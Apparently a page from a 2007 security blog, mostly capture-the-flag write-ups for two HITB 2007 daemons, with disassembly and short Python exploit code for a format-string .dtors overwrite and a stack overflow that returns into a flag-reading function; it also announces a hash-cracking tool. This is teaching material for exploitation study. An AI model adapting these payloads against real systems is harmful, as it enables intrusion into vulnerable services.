My student got to work for DSO

November 23, 2007 by lamer · Leave a Comment 

He is a brilliant guy. Under his usual silence is the loud noise of his neuron machine cranking up and down. I am talking about Jeremy, a student in my software exploitation training in October.

Few days ago, he messaged me that he had been offered an internship with DSO (used to stand for Defense Science Organization), Singapore. This organization, among others, deals with national security and only accepts top Singapore citizens to join its rank. Being able to join DSO as a Software Pentester (I assume it deals with analysis and exploitation here) proved Jeremy a technically smart guy.

Congratulation to you, Jeremy!

And for me, I am so glad my training paid off well.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Software Exploitation Training – Successfully Completed

October 23, 2007 by lamer · Leave a Comment 

During the HITB 2007 Malaysia I met a young smart group of students from Singapore Polytechnic. They took part in the Capture the Flag competition and managed to score better than some professionals (need I make it clear?) in total contrast to their name: t3nth (they ranked eighth, by the way).

I thought that was impressive enough for these young chaps and maybe if they had proper training, they could turn as capable as any other qualified security engineer. And so I offered them a free workshop on software exploitation to serve as a primer. It was received enthusiastically.

An intensive four (or five, I dont quite remember)-session training was given on every week end through out last month. It covered all basic concepts, techniques, and some few advanced skills. I don’t know but it seemed like the boys grasped them pretty quickly. Actually, they surprised me! I didn’t expect that Paul could understand the stack diagram I drew on the white board in an instance, Louis would get the return-to-libc technique immediately when I mentioned it, Jeremy were able to analyze binary files in a few minutes, and Choon Rui mastered format string with no difficulty at all.

Through out the training, challenges from the CtF (no, not the binary, but with reconstructed source by yours truly) were used but these boys weren’t informed at all. They solved them, fluidly. What others weren’t able to do in Dubai 2007, and Malaysia 2007, they did it in only one or a few hours. Brilliant, ain’t they?

I hope it was a conducive workshop to them and that they loved it as much as I loved teaching them. It’s always a pleasure to work with smart guys. I believe these chaps will score much better in subsequent challenges. And if you are looking for interns, get them!

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

hashcrack v1.0

October 9, 2007 by lamer · Leave a Comment 

hashcrack is a fast (as fast as OpenSSL allows) hash cracker. It features an additive hash checking to speed up the process. For example, to check for the hashes of abc and abd, hashcrack only computes the hash of ab, then computes one round each for c and d totaling 4 rounds (two for ab, one for c and one for d). This eliminates a good number of rounds if we calculate hashes from the beginning (6 in this case). The longer the key, the more the saving.

A draw back to this feature is it does not work with non-additive hash algorithms. Luckily, popular algorithms, such as SHA-1, RIPEMD160, MD5, are additive.

Compared to vshark (another hash cracker by rd), hashcrack is so much faster. An unscientific benchmark to RIPEMD160-scan the whole 6-character a-zA-Z0-9 space ended in about 6 minutes with hashcrack, and more than 2 hours with vshark. To be fair to vshark, there was another version of hashcrack written in pure Python. It was 6 times slower than vshark.

Download hashcrack

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Exploiting HITB 2007 Kuala Lumpur CTF Daemon 07

September 16, 2007 by lamer · Leave a Comment 

Analyzing main

There really is nothing to analyze here. It’s plain to see that the last printf was called without any format string.

.text:08048A8E main            proc near               ; DATA XREF: start+17↑o
.text:08048A8E
.text:08048A8E var_118         = dword ptr -118h
.text:08048A8E var_114         = dword ptr -114h
.text:08048A8E var_110         = dword ptr -110h
.text:08048A8E var_108         = dword ptr -108h
.text:08048A8E
.text:08048A8E                 push    ebp
.text:08048A8F                 mov     ebp, esp
.text:08048A91                 sub     esp, 118h       ; char *
.text:08048A97                 and     esp, 0FFFFFFF0h
.text:08048A9A                 mov     eax, 0
.text:08048A9F                 add     eax, 0Fh
.text:08048AA2                 add     eax, 0Fh
.text:08048AA5                 shr     eax, 4
.text:08048AA8                 shl     eax, 4
.text:08048AAB                 sub     esp, eax
.text:08048AAD                 mov     [esp+118h+var_118], offset aCodedByXwings_ ; "Coded By xWinGs. a code just to make yo"...
.text:08048AB4                 call    _printf
.text:08048AB9                 mov     [esp+118h+var_118], offset aSecretCode ; "Secret Code: "
.text:08048AC0                 call    _printf
.text:08048AC5                 mov     eax, ds:stdout
.text:08048ACA                 mov     [esp+118h+var_118], eax
.text:08048ACD                 call    _fflush
.text:08048AD2                 mov     [esp+118h+var_110], 100h
.text:08048ADA                 lea     eax, [ebp+var_108]
.text:08048AE0                 mov     [esp+118h+var_114], eax
.text:08048AE4                 mov     [esp+118h+var_118], 0
.text:08048AEB                 call    _read
.text:08048AF0                 mov     ds:dword_8052998, eax
.text:08048AF5                 mov     [esp+118h+var_110], offset aEtcFlagsDaemon ; "/etc/flags/daemon07.txt"
.text:08048AFD                 mov     eax, ds:dword_8052998
.text:08048B02                 mov     [esp+118h+var_114], eax
.text:08048B06                 lea     eax, [ebp+var_108]
.text:08048B0C                 mov     [esp+118h+var_118], eax
.text:08048B0F                 call    sub_80489C4
.text:08048B14                 mov     [esp+118h+var_118], offset aWrongCode_Debu ; "Wrong Code.\nDebug Input : "
.text:08048B1B                 call    _printf
.text:08048B20                 lea     eax, [ebp+var_108]
.text:08048B26                 mov     [esp+118h+var_118], eax
.text:08048B29                 call    <strong>_printf</strong>
.text:08048B2E                 mov     eax, 0
.text:08048B33                 leave
.text:08048B34                 retn
.text:08048B34 main            endp

Exploit it

So, it’s a simple format string exploit. We will overwrite the end of .dtors to point to the easter-egg function at 08048A32.

.text:08048A32 ; ---------------------------------------------------------------------------
.text:08048A32                 push    ebp
.text:08048A33                 mov     ebp, esp
.text:08048A35                 sub     esp, 48h
.text:08048A38                 mov     dword ptr [esp+4], offset aR ; "r"
.text:08048A40                 mov     dword ptr [esp], offset aEtcFlagsDaemon ; "/etc/flags/daemon07.txt"
.text:08048A47                 call    _fopen
.text:08048A4C                 mov     [ebp-0Ch], eax
.text:08048A4F                 mov     eax, [ebp-0Ch]
.text:08048A52                 mov     [esp+8], eax
.text:08048A56                 mov     dword ptr [esp+4], 20h
.text:08048A5E                 lea     eax, [ebp-38h]
.text:08048A61                 mov     [esp], eax
.text:08048A64                 call    _fgets
.text:08048A69                 mov     eax, [ebp-0Ch]
.text:08048A6C                 mov     [esp], eax
.text:08048A6F                 call    _fclose
.text:08048A74                 lea     eax, [ebp-38h]
.text:08048A77                 mov     [esp+4], eax
.text:08048A7B                 mov     dword ptr [esp], offset aS ; "\n%s"
.text:08048A82                 call    _printf
.text:08048A87                 mov     eax, 0
.text:08048A8C                 leave
.text:08048A8D                 retn

These few lines of Python code are all it takes to construct an exploit.

dtors_addr = 0x08052804
target_addr = 0x08048A32
offset = 8

junk_cnt0 = offset * 4
junk_cnt1 = (target_addr & 0xFFFF) - junk_cnt0
junk_cnt2 = 0x10000 + ((target_addr & 0xFFFF0000) >> 16) - junk_cnt1 - junk_cnt0

fmtstring = struct.pack("I", dtors_addr) + struct.pack("I", dtors_addr + 2) + "aaaa" * (offset - 2)
fmtstring += "%%.%dx%%%d$hn" % (junk_cnt1, offset)
fmtstring += "%%.%dx%%%d$hn" % (junk_cnt2, offset + 1)
fmtstring += "\n"
# send this string to port 7777, will ya?

Observation

Unlike daemon05, we need not flush the buffer in printf because when the daemon ends normally, this buffer is automatically flushed. And the daemon does end normally. Let’s find out why.

.dtors:08052800 _dtors          segment dword public 'DATA' use32
.dtors:08052800                 assume cs:_dtors
.dtors:08052800                 ;org 8052800h
.dtors:08052800                 db 0FFh
.dtors:08052801                 db 0FFh
.dtors:08052802                 db 0FFh
.dtors:08052803                 db 0FFh
.dtors:08052804                 db    0
.dtors:08052805                 db    0
.dtors:08052806                 db    0
.dtors:08052807                 db    0
.dtors:08052807 _dtors          ends
.dtors:08052807
.jcr:08052808 ; ---------------------------------------------------------------------------
.jcr:08052808
.jcr:08052808 ; Segment type: Pure data
.jcr:08052808 ; Segment permissions: Read/Write
.jcr:08052808 _jcr            segment dword public 'DATA' use32
.jcr:08052808                 assume cs:_jcr
.jcr:08052808                 ;org 8052808h
.jcr:08052808                 db    0
.jcr:08052809                 db    0
.jcr:0805280A                 db    0
.jcr:0805280B                 db    0
.jcr:0805280B _jcr            ends

Right after .dtors is .jcr which is filled with four 00, which incidentally is also the end marker for .dtors. So, when we overwrite 08052804 with the value 08048A32, we happen to insert a destructor to .dtors list. If .jcr were different, we would have to overwrite .jcr to point to the fflush code in main, which is at 08048AC5. This is still doable by extending our format string to have two more %hn overwrites.

Oh, and thank you, xWinGs, for these easy points.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Exploiting HTIB 2007 Kuala Lumpur CTF Daemon 05

September 14, 2007 by lamer · Leave a Comment 

Identify main

Like the previous blog post, let’s start with the start function.

<b>.text:</b>080488B0                 public start
<b>.text:</b>080488B0 start           proc near
<b>.text:</b>080488B0                 <b>xor</b>     <b>ebp</b>, <b>ebp</b>
<b>.text:</b>080488B2                 <b>pop</b>     <b>esi</b>
<b>.text:</b>080488B3                 <b>mov</b>     <b>ecx</b>, <b>esp</b>
<b>.text:</b>080488B5                 <b>and</b>     <b>esp</b>, 0FFFFFFF0h
<b>.text:</b>080488B8                 <b>push</b>    <b>eax</b>
<b>.text:</b>080488B9                 <b>push</b>    <b>esp</b>
<b>.text:</b>080488BA                 <b>push</b>    <b>edx</b>
<b>.text:</b>080488BB                 <b>push</b>    offset sub_804C650
<b>.text:</b>080488C0                 <b>push</b>    offset sub_804C5F0
<b>.text:</b>080488C5                 <b>push</b>    <b>ecx</b>
<b>.text:</b>080488C6                 <b>push</b>    <b>esi</b>
<b>.text:</b>080488C7                 <b>push</b>    offset main
<b>.text:</b>080488CC                 <b>call</b>    ___libc_start_main

We identify the main function as the last argument to ___libc_start_main. So let’s get to it.

Analyze main

<b>.text:</b>08048ABE main            proc near               ; DATA XREF: start+17&uarr;o
<b>.text:</b>08048ABE
<b>.text:</b>08048ABE var_518         <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>518h
<b>.text:</b>08048ABE var_514         <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>514h
<b>.text:</b>08048ABE var_510         <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>510h
<b>.text:</b>08048ABE var_208         <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>208h
<b>.text:</b>08048ABE
<b>.text:</b>08048ABE                 <b>push</b>    <b>ebp</b>
<b>.text:</b>08048ABF                 <b>mov</b>     <b>ebp</b>, <b>esp</b>
<b>.text:</b>08048AC1                 <b>sub</b>     <b>esp</b>, 518h       ; char *
<b>.text:</b>08048AC7                 <b>and</b>     <b>esp</b>, 0FFFFFFF0h
<b>.text:</b>08048ACA                 <b>mov</b>     <b>eax</b>, 0
<b>.text:</b>08048ACF                 <b>add</b>     <b>eax</b>, 0Fh
<b>.text:</b>08048AD2                 <b>add</b>     <b>eax</b>, 0Fh
<b>.text:</b>08048AD5                 <b>shr</b>     <b>eax</b>, 4
<b>.text:</b>08048AD8                 <b>shl</b>     <b>eax</b>, 4
<b>.text:</b>08048ADB                 <b>sub</b>     <b>esp</b>, <b>eax</b>
<b>.text:</b>08048ADD                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, offset aCodedByXwings_ ; &quot;Coded By xWinGs. a code just to make yo&quot;...
<b>.text:</b>08048AE4                 <b>call</b>    _printf
<b>.text:</b>08048AE9                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, offset aSecretCode ; &quot;Secret Code: &quot;
<b>.text:</b>08048AF0                 <b>call</b>    _printf
<b>.text:</b>08048AF5                 <b>mov</b>     <b>eax</b>, <b>ds</b><b>:</b>stdout
<b>.text:</b>08048AFA                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, <b>eax</b>
<b>.text:</b>08048AFD                 <b>call</b>    _fflush
<b>.text:</b>08048B02                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_510<b>]</b>, 200h
<b>.text:</b>08048B0A                 <b>lea</b>     <b>eax</b>, <b>[</b><b>ebp</b><b>+</b>var_208<b>]</b>
<b>.text:</b>08048B10                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_514<b>]</b>, <b>eax</b>
<b>.text:</b>08048B14                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, 0
<b>.text:</b>08048B1B                 <b>call</b>    _read
<b>.text:</b>08048B20                 <b>mov</b>     <b>ds</b><b>:</b>dword_80529DC, <b>eax</b>
<b>.text:</b>08048B25                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_510<b>]</b>, offset aEtcFlagsDaemon ; &quot;/etc/flags/daemon05.txt&quot;
<b>.text:</b>08048B2D                 <b>mov</b>     <b>eax</b>, <b>ds</b><b>:</b>dword_80529DC
<b>.text:</b>08048B32                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_514<b>]</b>, <b>eax</b>
<b>.text:</b>08048B36                 <b>lea</b>     <b>eax</b>, <b>[</b><b>ebp</b><b>+</b>var_208<b>]</b>
<b>.text:</b>08048B3C                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, <b>eax</b>
<b>.text:</b>08048B3F                 <b>call</b>    sub_80489F4

First, a few calls to printf to advertise this is from xWinGs. Nothing fancy yet. Then a read of 0×200 (1024) bytes to var_208. So, let’s rename var_208 to input_buffer. And also note that input_buffer is the first item on the stack. After input_buffer there comes the frame pointer and a return address.

With the same reasoning as in the previous post, we also rename var_518 to first_arg, var_514 to second_arg, and var_510 to third_arg.

After the read is a check for score server packet. We’ll skip it. And here comes the juicy part.

<b>.text:</b>08048B44                 <b>mov</b>     <b>eax</b>, <b>ds</b><b>:</b>stdin
<b>.text:</b>08048B49                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>third_arg<b>]</b>, <b>eax</b>
<b>.text:</b>08048B4D                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>second_arg<b>]</b>, 300h
<b>.text:</b>08048B55                 <b>lea</b>     <b>eax</b>, <b>[</b><b>ebp</b><b>+</b>input_buffer<b>]</b>
<b>.text:</b>08048B5B                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>first_arg<b>]</b>, <b>eax</b>
<b>.text:</b>08048B5E                 <b>call</b>    _fgets
<b>.text:</b>08048B63                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>first_arg<b>]</b>, offset aWrongCode_ ; &quot;Wrong Code.\n&quot;
<b>.text:</b>08048B6A                 <b>call</b>    _printf
<b>.text:</b>08048B6F                 <b>mov</b>     <b>eax</b>, 0
<b>.text:</b>08048B74                 <b>leave</b>
<b>.text:</b>08048B75                 <b>retn</b>
<b>.text:</b>08048B75 main            endp

The next call is to fgets to read another, uhm, 0×300 bytes to input_buffer. And this is where overflow occurs. Remember that input_buffer is only 1024 byte long, and after it is the frame pointer and return address. So by overflowing input_buffer we are able to control the return address.

Ok, that’s all fine, but where do we want main to return to? A little digging around reveals this piece of unidentified code.

<b>.text:</b>08048A60 locret_8048A60<b>:</b>                         ; CODE XREF: sub_80489F4+29&uarr;j
<b>.text:</b>08048A60                 <b>leave</b>
<b>.text:</b>08048A61                 <b>retn</b>
<b>.text:</b>08048A61 sub_80489F4     endp
<b>.text:</b>08048A61
<b>.text:</b>08048A62 ; ---------------------------------------------------------------------------
<b>.text:</b>08048A62                 <b>push</b>    <b>ebp</b>
<b>.text:</b>08048A63                 <b>mov</b>     <b>ebp</b>, <b>esp</b>
<b>.text:</b>08048A65                 <b>sub</b>     <b>esp</b>, 48h
<b>.text:</b>08048A68                 <b>mov</b>     <b>dword</b> <b>ptr</b> <b>[</b><b>esp</b><b>+</b>4<b>]</b>, offset aR ; &quot;r&quot;
<b>.text:</b>08048A70                 <b>mov</b>     <b>dword</b> <b>ptr</b> <b>[</b><b>esp</b><b>]</b>, offset aEtcFlagsDaemon ; &quot;/etc/flags/daemon05.txt&quot;
<b>.text:</b>08048A77                 <b>call</b>    _fopen
<b>.text:</b>08048A7C                 <b>mov</b>     <b>[</b><b>ebp</b><b>-</b>0Ch<b>]</b>, <b>eax</b>
<b>.text:</b>08048A7F                 <b>mov</b>     <b>eax</b>, <b>[</b><b>ebp</b><b>-</b>0Ch<b>]</b>
<b>.text:</b>08048A82                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>8<b>]</b>, <b>eax</b>
<b>.text:</b>08048A86                 <b>mov</b>     <b>dword</b> <b>ptr</b> <b>[</b><b>esp</b><b>+</b>4<b>]</b>, 20h
<b>.text:</b>08048A8E                 <b>lea</b>     <b>eax</b>, <b>[</b><b>ebp</b><b>-</b>38h<b>]</b>
<b>.text:</b>08048A91                 <b>mov</b>     <b>[</b><b>esp</b><b>]</b>, <b>eax</b>
<b>.text:</b>08048A94                 <b>call</b>    _fgets
<b>.text:</b>08048A99                 <b>mov</b>     <b>eax</b>, <b>[</b><b>ebp</b><b>-</b>0Ch<b>]</b>
<b>.text:</b>08048A9C                 <b>mov</b>     <b>[</b><b>esp</b><b>]</b>, <b>eax</b>
<b>.text:</b>08048A9F                 <b>call</b>    _fclose
<b>.text:</b>08048AA4                 <b>lea</b>     <b>eax</b>, <b>[</b><b>ebp</b><b>-</b>38h<b>]</b>
<b>.text:</b>08048AA7                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>4<b>]</b>,;;; <b>eax</b>
<b>.text:</b>08048AAB                 <b>mov</b>     <b>dword</b> <b>ptr</b> <b>[</b><b>esp</b><b>]</b>, offset <b>aS</b> ; &quot;\n%s&quot;
<b>.text:</b>08048AB2                 <b>call</b>    _printf
<b>.text:</b>08048AB7                 <b>mov</b>     <b>eax</b>, 0
<b>.text:</b>08048ABC                 <b>leave</b>
<b>.text:</b>08048ABD                 <b>retn</b>
<b>.text:</b>08048ABE
<b>.text:</b>08048ABE ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
<b>.text:</b>08048ABE
<b>.text:</b>08048ABE ; Attributes: bp-based frame
<b>.text:</b>08048ABE
<b>.text:</b>08048ABE main            proc near               ; DATA XREF: start+17&uarr;o
<b>.text:</b>08048ABE
<b>.text:</b>08048ABE first_arg       <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>518h
<b>.text:</b>08048ABE second_arg      <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>514h
<b>.text:</b>08048ABE third_arg       <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>510h
<b>.text:</b>08048ABE input_buffer    <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>208h

Look at 08048A62! It’s a function prologue. And indeed from 08048A62 to 08048ABD is a proper function! What great is that it opens, reads, and prints the flag out! This is so convenient!

Exploit it

Now, let’s gather what we’ve have. We can control where main returns to, and we know there’s a function that suits our purpose. Therefore, the challenge is… none. We just return to this function!

With that tactic, our exploit is as trivial as constructing a buffer containing all 08048A62. And how hard could it be? Two lines of Python code!

import struct
buffer = struct.pack("I", 0x08048A62) * 1000

Remotely exploit it

If you tried out the buffer above, you might find that it didn’t work remotely. This is because the easter-egg function uses printf to print out the flag. It is common knowledge that printf buffers its content. If the output stream is connected to a console window, the buffering is line-based, otherwise it is block-based. In our case, the output stream is connected to a socket, so the buffering is block-based. Usually, this block is 8 KBytes. Each call to the easter-egg only prints out about 20 bytes. So, to fill this buffer, we will need at least 409 calls to the easter-egg function, or we need to put in 409 * 4 = 0×664 bytes. However, only 0×300 bytes are read in. So this approach fails.

Another approach is to flush the stream after printf. Luckily, this is doable by returning to 08048AF5. At that address, there is a call to fflush on stdout. Again, we only use existing code.

In summary, in order to exploit daemon05 remotely, we will have to change our buffer to look like:

buffer = struct.pack("I", 0x08048A62) * 300 + "\xF5\x8A\x04\x08" + "\x0A"

Observation

Well, what should I say? Thank you, xWinGs, for this twisted fun!

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

« Previous PageNext Page »